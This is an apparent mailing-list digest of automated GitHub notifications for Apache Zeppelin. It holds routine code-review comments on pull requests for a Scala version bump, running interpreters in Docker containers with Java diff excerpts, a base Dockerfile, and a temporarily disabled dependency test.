zjffdu commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378#issuecomment-501581486 As I mentioned before, this PR's scope should be only limited to spark module. Other module should not be affected. This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293235298
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterProcess.java
##
@@ -0,0 +1,652 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Charsets;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.common.io.Resources;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.SocketException;
+import java.net.URI;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.LogStream;
+import com.spotify.docker.client.ProgressHandler;
+import com.spotify.docker.client.exceptions.DockerException;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ExecCreation;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.docker.client.messages.ProgressMessage;
+import org.apache.commons.lang.StringUtils;
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.launcher.utils.TarFileEntry;
+import org.apache.zeppelin.interpreter.launcher.utils.TarUtils;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterProcess;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterUtils;
+import org.apache.zeppelin.interpreter.thrift.RemoteInterpreterService;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static
org.apache.zeppelin.conf.ZeppelinConfiguration.ConfVars.ZEPPELIN_SERVER_KERBEROS_KEYTAB;
+
+public class DockerInterpreterProcess extends RemoteInterpreterProcess {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private String dockerIntpServicePort = "0";
+
+ private final String interpreterGroupId;
+ private final String interpreterGroupName;
+ private final String interpreterSettingName;
+ private final String containerImage;
+ private final Properties properties;
+ private final Map envs;
+ private final String zeppelinServiceHost;
+ private final String zeppelinServiceRpcPort;
+
+ private AtomicBoolean dockerStarted = new AtomicBoolean(false);
+
+ private DockerClient docker = null;
+ private final String containerName;
+ private String containerHost = "";
+ private int containerPort = 0;
+ private static final String DOCKER_INTP_JINJA =
"/jinja_templates/docker-interpreter.jinja";
+
+ // Upload local zeppelin library to container, There are several benefits
+ // Avoid the difference between the zeppelin version and the local in the
container
+ // 1. RemoteInterpreterServer::main(String[] args), Different versions of
args may be different
+ // 2. bin/interpreter.sh Start command args may be different
+ // 3. In the debugging phase for easy updating, Upload the local library
file to container
+ @VisibleForTesting
+ boolean uploadLocalLibToContainter = true;
+
+ private ZeppelinConfiguration zconf;
+
+ private String zeppelinHome;
+
+ @VisibleForTesting
+ final String CONTAINER_SPARK_HOME;
+
+ @VisibleForTesting
+ final String DOCKER_HOST;
+
+ private String containerId;
+ final String CONTAINER_UPLOAD_TAR_DIR = "/tmp/zeppelin-tar";
+
+ public DockerInterpreterProcess(
+ ZeppelinConfiguration zconf,
+ String containerImage,
+ String interpreterGroupId,
+ String interpreterGroupName,
[GitHub] [zeppelin] zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293235311
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterProcess.java
##
@@ -0,0 +1,652 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Charsets;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.common.io.Resources;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.SocketException;
+import java.net.URI;
+import java.net.URL;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import com.spotify.docker.client.DefaultDockerClient;
+import com.spotify.docker.client.DockerClient;
+import com.spotify.docker.client.LogStream;
+import com.spotify.docker.client.ProgressHandler;
+import com.spotify.docker.client.exceptions.DockerException;
+import com.spotify.docker.client.messages.ContainerConfig;
+import com.spotify.docker.client.messages.ContainerCreation;
+import com.spotify.docker.client.messages.ExecCreation;
+import com.spotify.docker.client.messages.HostConfig;
+import com.spotify.docker.client.messages.PortBinding;
+import com.spotify.docker.client.messages.ProgressMessage;
+import org.apache.commons.lang.StringUtils;
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.launcher.utils.TarFileEntry;
+import org.apache.zeppelin.interpreter.launcher.utils.TarUtils;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterProcess;
+import org.apache.zeppelin.interpreter.remote.RemoteInterpreterUtils;
+import org.apache.zeppelin.interpreter.thrift.RemoteInterpreterService;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import static java.nio.charset.StandardCharsets.UTF_8;
+import static
org.apache.zeppelin.conf.ZeppelinConfiguration.ConfVars.ZEPPELIN_SERVER_KERBEROS_KEYTAB;
+
+public class DockerInterpreterProcess extends RemoteInterpreterProcess {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private String dockerIntpServicePort = "0";
+
+ private final String interpreterGroupId;
+ private final String interpreterGroupName;
+ private final String interpreterSettingName;
+ private final String containerImage;
+ private final Properties properties;
+ private final Map envs;
+ private final String zeppelinServiceHost;
+ private final String zeppelinServiceRpcPort;
+
+ private AtomicBoolean dockerStarted = new AtomicBoolean(false);
+
+ private DockerClient docker = null;
+ private final String containerName;
+ private String containerHost = "";
+ private int containerPort = 0;
+ private static final String DOCKER_INTP_JINJA =
"/jinja_templates/docker-interpreter.jinja";
+
+ // Upload local zeppelin library to container, There are several benefits
+ // Avoid the difference between the zeppelin version and the local in the
container
+ // 1. RemoteInterpreterServer::main(String[] args), Different versions of
args may be different
+ // 2. bin/interpreter.sh Start command args may be different
+ // 3. In the debugging phase for easy updating, Upload the local library
file to container
+ @VisibleForTesting
+ boolean uploadLocalLibToContainter = true;
+
+ private ZeppelinConfiguration zconf;
+
+ private String zeppelinHome;
+
+ @VisibleForTesting
+ final String CONTAINER_SPARK_HOME;
+
+ @VisibleForTesting
+ final String DOCKER_HOST;
+
+ private String containerId;
+ final String CONTAINER_UPLOAD_TAR_DIR = "/tmp/zeppelin-tar";
+
+ public DockerInterpreterProcess(
+ ZeppelinConfiguration zconf,
+ String containerImage,
+ String interpreterGroupId,
+ String interpreterGroupName,
[GitHub] [zeppelin] felixcheung commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12
felixcheung commented on issue #3378: [ZEPPELIN-4187] Bump up version of Scala from 2.11.8 to 2.11.12 URL: https://github.com/apache/zeppelin/pull/3378#issuecomment-501580260 it's definitely strange that the flink interpreter is depending on spark eg. `org.apache.spark.repl` This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
zjffdu commented on a change in pull request #3383: [ZEPPELIN-4104] Zeppelin
Interpreter On Docker
URL: https://github.com/apache/zeppelin/pull/3383#discussion_r293234986
##
File path:
zeppelin-plugins/launcher/docker/src/main/java/org/apache/zeppelin/interpreter/launcher/DockerInterpreterLauncher.java
##
@@ -0,0 +1,79 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.zeppelin.interpreter.launcher;
+
+import org.apache.zeppelin.conf.ZeppelinConfiguration;
+import org.apache.zeppelin.interpreter.recovery.RecoveryStorage;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.util.Map;
+
+/**
+ * Interpreter Launcher which use shell script to launch the interpreter
process.
+ */
+public class DockerInterpreterLauncher extends InterpreterLauncher {
+ private static final Logger LOGGER =
LoggerFactory.getLogger(DockerInterpreterLauncher.class);
+
+ private InterpreterLaunchContext context;
+
+ public DockerInterpreterLauncher(ZeppelinConfiguration zConf,
RecoveryStorage recoveryStorage)
+ throws IOException {
+super(zConf, recoveryStorage);
+ }
+
+ @Override
+ public InterpreterClient launch(InterpreterLaunchContext context) throws
IOException {
+LOGGER.info("Launching Interpreter: " +
context.getInterpreterSettingGroup());
+this.context = context;
+this.properties = context.getProperties();
+int connectTimeout = getConnectTimeout();
+if (connectTimeout < 20) {
Review comment:
should provide one option for this configuration. Sometimes, even 200
seconds is enough.
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
With regards,
Apache Git Services
[GitHub] [zeppelin] felixcheung commented on a change in pull request #3380: ZEPPELIN-4154. Build docker image for each interpreter
felixcheung commented on a change in pull request #3380: ZEPPELIN-4154. Build docker image for each interpreter URL: https://github.com/apache/zeppelin/pull/3380#discussion_r293234388 ## File path: scripts/docker/zeppelin-interpreter/Dockerfile_base ## @@ -0,0 +1,53 @@ +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +#http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +FROM ubuntu:16.04 +MAINTAINER Apache Software Foundation + +ENV Z_VERSION="0.9.0-SNAPSHOT" Review comment: so `-SNAPSHOT` we need to change when making the official release? This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] liuxunorg commented on issue #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
liuxunorg commented on issue #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker URL: https://github.com/apache/zeppelin/pull/3383#issuecomment-501576748 @zjffdu , Please help me review code, Thanks! This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. For queries about this service, please contact Infrastructure at: us...@infra.apache.org With regards, Apache Git Services
[GitHub] [zeppelin] liuxunorg opened a new pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter On Docker
liuxunorg opened a new pull request #3383: [ZEPPELIN-4104] Zeppelin Interpreter
On Docker
URL: https://github.com/apache/zeppelin/pull/3383
### What is this PR for?
Zeppelin service runs on local server. zeppelin is able to run the
interpreter in the docker container, Isolating the operating environment of the
interpreter through the docker container. Zeppelin can be easily used without
having to install python, spark, etc. on the local node.
Key benefits are
1. Interpreter environment isolating
2. Not need to install `python lib`, `spark binary package`, etc.
environment on the local node
3. Docker does not need to pre-install zeppelin binary package,
Automatically upload local zeppelin interpreter lib files to the container
4. Automatically upload local configuration files (such as `spark-conf`,
`hadoop-conf-dir`, `keytab file`, ...) to the container, so that the running
environment in the container is exactly the same as the local.
5. Zeppelin server runs locally, making it easier to manage and maintain
6. Support zeppelin all interpreter
7. Support spark interpreter, `local[*]`, `cluster-client`, `cluster-yarn`
mode.
### What type of PR is it?
[Feature]
### What is the Jira issue?
* https://issues.apache.org/jira/browse/ZEPPELIN-4104
### How should this be tested?
* CI Pass
### Screenshots
### Sample1 : Spark(yarn-cluster mode) interpreter run docker
### Sample2 : Spark(yarn-cluster mode) interpreter run docker
### Sample3 : Shell interpreter run docker
### Questions:
* Does the licenses files need update? NO
* Is there breaking changes for older versions? No
* Does this needs documentation? YES
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
With regards,
Apache Git Services
[GitHub] [zeppelin] prabhjyotsingh commented on a change in pull request #3381: [ZEPPELIN-4192] Travis CI fails for dependency download
prabhjyotsingh commented on a change in pull request #3381: [ZEPPELIN-4192]
Travis CI fails for dependency download
URL: https://github.com/apache/zeppelin/pull/3381#discussion_r293230843
##
File path:
zeppelin-interpreter/src/test/java/org/apache/zeppelin/dep/DependencyResolverTest.java
##
@@ -87,10 +87,11 @@ public void testLoad() throws Exception {
FileUtils.cleanDirectory(testCopyPath);
// load from added repository
-resolver.addRepo("sonatype",
-"https://oss.sonatype.org/content/repositories/agimatec-releases/";,
false);
-resolver.load("com.agimatec:agimatec-validation:0.12.0", testCopyPath);
-assertEquals(testCopyPath.list().length, 8);
+// temporarily disable until the below repo is back up
Review comment:
Sure I understand, let me update this.
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
For queries about this service, please contact Infrastructure at:
us...@infra.apache.org
With regards,
Apache Git Services
